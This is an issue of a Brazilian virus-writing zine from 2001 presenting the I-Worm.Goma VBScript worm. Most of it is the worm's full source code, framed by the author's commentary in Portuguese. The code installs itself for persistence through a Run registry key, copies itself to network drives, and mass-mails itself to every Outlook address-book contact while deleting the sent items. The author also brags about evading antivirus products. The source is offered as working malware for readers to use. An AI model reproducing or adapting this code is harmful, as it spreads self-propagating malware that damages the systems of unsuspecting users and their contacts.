Virus Brasil nº8:(goma_vbs.txt):20/02/2001 << Back To Virus Brasil nº 8
────────────────────────────────────────────────────────────────────────── __ __ | | | | |__) |\/| |/\| |__| | \ | | ────────────────────────────────────────────────────────────────────────── ─────────────────────────────────────────── 8 - I-Worm.Goma por nim_bus@hotmail.com ─────────────────────────────────────────── Originais em arquivo .TXT sem acentuacao Estava para fazer um virus em bat e parei para pensar... Cheguei a conclusao que um tipo de virus soh nao existe mais , sumiu, tive a ideia de criar um virus em .bat que pudesse se propa- gar via internet, por e-mail e pelo mirc, como script. Pensei, pensei e cheguei a conclusao que deveria fazer um worm para alegrar o tal do virus, estava em tempos de "I LOVE YOU" e tal, tentei mexer com ele, mas sei la nao me dei muito bem com a sintaxe e ripar nao era meu objetivo, ai encontrei o gerador de I-Worms do SennaSpy, ah, dito e feito, criei um, deu uma ajeitada, nas variave- is, coloquei m eu nome na crianca, rodei os avs e nenhum pegou, ai acho que cabacei e devo ter mandado o virus pra alguem testar e al- gum araponga interceptou a mensagem e ja deu nos dentes pos caras dos Anti-Virus e hoje o Avp ja o detecta, mas tudo bem,quase nenhum usuario usa o Avp mesmo, eles gostam do Mcafee. Bom, os fontes do Worm, encontram-se abaixo, o worm eh um .VBS se propaga no MS-Outlook ( Aquele que vem com o Office, nem rola no Outlook Express, o que vem com o Internet Explorer ) mas jah eh uma evolucao do caralho, o virus poder mandar seu codigo via e-mail... O codigo nao esta comentado, mas os comandos nao sao complexos, e caso tenha algum problema, tem um montao de pagina na net com help de vbscript, eh soh procurar. Deixa de papo e ve se entende alguma coisa ... ─────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Goma Internet Worm (Made with SennaSpy Internet Generator 1.0) ' No bugs !!! 100% fully work. No comment's on code ' Mail to : nim_bus@hotmail.com ' Home Page : http://virusbrasil.8m.com ' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' On Error Resume Next Dim Copiar_arquivo, Alterar_Reg, Criar_OBJ, Contador, Enviar, Abrir_Outlook, Em_mapi, Lista_end, Entradas, Auxiliar Contador = 0 Set Copiar_arquivo = CreateObject( "Scripting.FileSystemObject" ) Copiar_arquivo.CopyFile WScript.ScriptFullName, Copiar_arquivo.BuildPath( Copiar_arquivo.GetSpecialFolder(1), "Goma.vbs" ) Set Alterar_Reg = CreateObject( "WScript.Shell" ) Alterar_Reg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & "GOMA", Copiar_arquivo.BuildPath( Copiar_arquivo.GetSpecialFolder(1), "GOMA.vbs" ) Set Criar_OBJ = CreateObject( "WScript.Network" ) Set Enviar = Criar_OBJ.EnumNetworkDrives If Enviar.Count <> 0 Then For Contador = 0 To Enviar.Count - 1 If InStr( Enviar.Item( Contador), "\" ) <> 0 Then Copiar_arquivo.CopyFile WScript.ScriptFullName, Copiar_arquivo.BuildPath( Enviar.Item( Contador), "GOMA.vbs" ) End If Next End If Contador = Alterar_Reg.RegRead( "HKEY_LOCAL_MACHINE\" & "GOMA" ) Set Abrir_Outlook = CreateObject( "Outlook.Application" ) Set Em_mapi = Abrir_Outlook.GetNameSpace( "MAPI" ) For Each Lista_end In Em_mapi.AddressLists Set Enviar = Abrir_Outlook.CreateItem( 0 ) For Entradas = 1 To Lista_end.AddressEntries.Count Set Auxiliar = Lista_end.AddressEntries( Entradas ) If Entradas = 1 Then Enviar.BCC = Auxiliar.Address Else Enviar.BCC = Enviar.BCC & "; " & Auxiliar.Address End If Next Enviar.Subject = "Goma" Enviar.Body = "Goma para sempre !!!!" Enviar.Attachmets.Add WScript.ScriptFullName Enviar.DeleteAfterSubmit = True Enviar.Send Next Alterar_Reg.RegWrite "HKEY_LOCAL_MACHINE\" & "GOMA", Contador + 1 ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Bom, o mecanismo de envio do worm eh muito simples, ele copia - se para o diretorio do "\windows\system\", cria uma chave no regis- tro em "Run" e a cada execucao do windows ele estara ativo soh espe- rando a oportunidade de poder enviar-se via Ms-Outlook para o mundo. E' isso, sem mais, nim_bus@hotmail.com ──────────────────────────────────────────────────────────────────────────── Copyright ╕ 2001, Vírus Brasil ⌐ ────────────────────────────────────────────────────────────────────────────